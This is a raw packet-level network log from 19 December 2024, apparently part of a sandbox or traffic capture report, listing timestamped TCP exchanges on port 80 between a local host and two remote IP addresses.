Dec 19, 2024 14:10:51.100037098 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.100177050 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.100228071 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.101259947 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.101351023 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.101433039 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.102189064 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.102327108 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.102364063 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.103272915 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.103460073 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.103504896 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.161664009 CET	80	49855	185.215.113.43	192.168.2.4
Dec 19, 2024 14:10:51.161771059 CET	49855	80	192.168.2.4	185.215.113.43
Dec 19, 2024 14:10:51.170325041 CET	80	49870	185.215.113.43	192.168.2.4
Dec 19, 2024 14:10:51.170445919 CET	49870	80	192.168.2.4	185.215.113.43
Dec 19, 2024 14:10:51.171561956 CET	49870	80	192.168.2.4	185.215.113.43
Dec 19, 2024 14:10:51.258678913 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.291073084 CET	80	49870	185.215.113.43	192.168.2.4
Dec 19, 2024 14:10:51.378284931 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.378396034 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.378501892 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.378807068 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.378855944 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.378985882 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.379898071 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.380012035 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.380104065 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.380954981 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.381074905 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.381117105 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.382057905 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.382241964 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.383141994 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.383194923 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.383280993 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.384222984 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.384244919 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.384382963 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.384452105 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.385289907 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.385365009 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.385411024 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.386365891 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.386497974 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.386586905 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.387502909 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.387574911 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.387619019 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.388636112 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.388751030 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.388803959 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.389590979 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.389689922 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.389745951 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.390677929 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.390821934 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.390917063 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.391808033 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.391900063 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.391961098 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.392852068 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.392991066 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.393043995 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.393899918 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.394015074 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.394130945 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.395030975 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.395129919 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.395212889 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.396159887 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.396266937 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.396316051 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.397207022 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.397273064 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.397335052 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.398241043 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.398300886 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.398356915 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.399375916 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.399420977 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.399461985 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.400397062 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.400496960 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.400547981 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.401432037 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.401565075 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.401627064 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.402540922 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.402618885 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.402668953 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.404346943 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.404364109 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.404407978 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.404661894 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.404819012 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.405009985 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.405801058 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.405936003 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.405973911 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.406847954 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.406945944 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.407006025 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.407996893 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.408102036 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.408222914 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.409041882 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.409152985 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.409586906 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.410173893 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.410284042 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.410403013 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.411319017 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.411498070 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.411540031 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.412231922 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.412311077 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.412360907 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.413345098 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.413409948 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.413461924 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.414489031 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.414644957 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.415144920 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.415488005 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.415545940 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.415596962 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.416563988 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.416661024 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.416759014 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.417665958 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.417757034 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.417803049 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.418680906 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.418811083 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.418875933 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.419796944 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.419863939 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.419955969 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.420969009 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.421021938 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.421221018 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.421921968 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.422049999 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.422154903 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.423008919 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.423116922 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.423157930 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.424113989 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.424228907 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.424268961 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.425148964 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.425282955 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.425322056 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.426229000 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.426346064 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.426397085 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.427329063 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.427438021 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.427495956 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.428375959 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.428494930 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.428571939 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.429440022 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.429640055 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.429681063 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.433115005 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.433140993 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.433147907 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.433150053 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.433198929 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.433276892 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.433279037 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.433315992 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.434036970 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.434052944 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.434113026 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.435223103 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.435285091 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.435760021 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.436201096 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.436218023 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.436254025 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.437273979 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.437289953 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.437330961 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.438440084 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.438457012 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.438499928 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.439326048 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.439511061 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.439548969 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.440597057 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.440614939 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.440665007 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.441484928 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.441658974 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.441704988 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.442708969 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.442724943 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.442770958 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.443763971 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.443936110 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.443970919 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.444540024 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.444675922 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.444720984 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.445615053 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.445746899 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.445791006 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.446759939 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.446815014 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.446873903 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.447782993 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.447886944 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.448052883 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.448841095 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.449008942 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.449050903 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.452097893 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.452114105 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.452131033 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.452147007 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.452171087 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.452186108 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.452414036 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.452599049 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.452676058 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.453459024 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.453629971 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.453727007 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.454632044 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.454773903 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.454804897 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.455478907 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.455647945 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.455682039 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.456562042 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.456733942 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.456870079 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.457818031 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.457834005 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.458268881 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.458626032 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.458734989 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.458817959 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.459630966 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.459733009 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.459953070 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.460711956 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.460850954 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.460916996 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.461782932 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.461944103 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.461987019 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.464485884 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.465632915 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.465673923 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.465677977 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.465678930 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.465697050 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.465713024 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.465715885 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.465754986 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.466301918 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.466598034 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.466654062 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.467413902 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.467593908 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.467719078 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.468544006 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.468708038 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.468764067 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.469732046 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.469921112 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.469995022 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.470752954 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.470937014 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.470979929 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.471740007 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.471920967 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.472053051 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.472784042 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.472930908 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.473074913 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.473813057 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.473994017 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.474080086 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.475039005 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.475064039 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.475106955 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.476093054 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.476258039 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.476300955 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.477102995 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.477122068 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.477171898 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.478180885 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.478348970 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.478446960 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.479365110 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.479527950 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.479872942 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.480392933 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.480411053 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.480449915 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.481512070 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.481528044 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.481584072 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.482498884 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.482667923 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.482723951 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.483655930 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.483807087 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.483843088 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.484391928 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.484559059 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.484615088 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.485554934 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.485626936 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.485718966 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.486592054 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.486671925 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.486792088 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.487628937 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.487732887 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.487843990 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.488711119 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.488893986 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.488950968 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.490120888 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.490175009 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.490221024 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.490966082 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.490999937 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.491919994 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.491967916 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.796509027 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.916088104 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.916179895 CET	80	49856	176.53.146.212	192.168.2.4
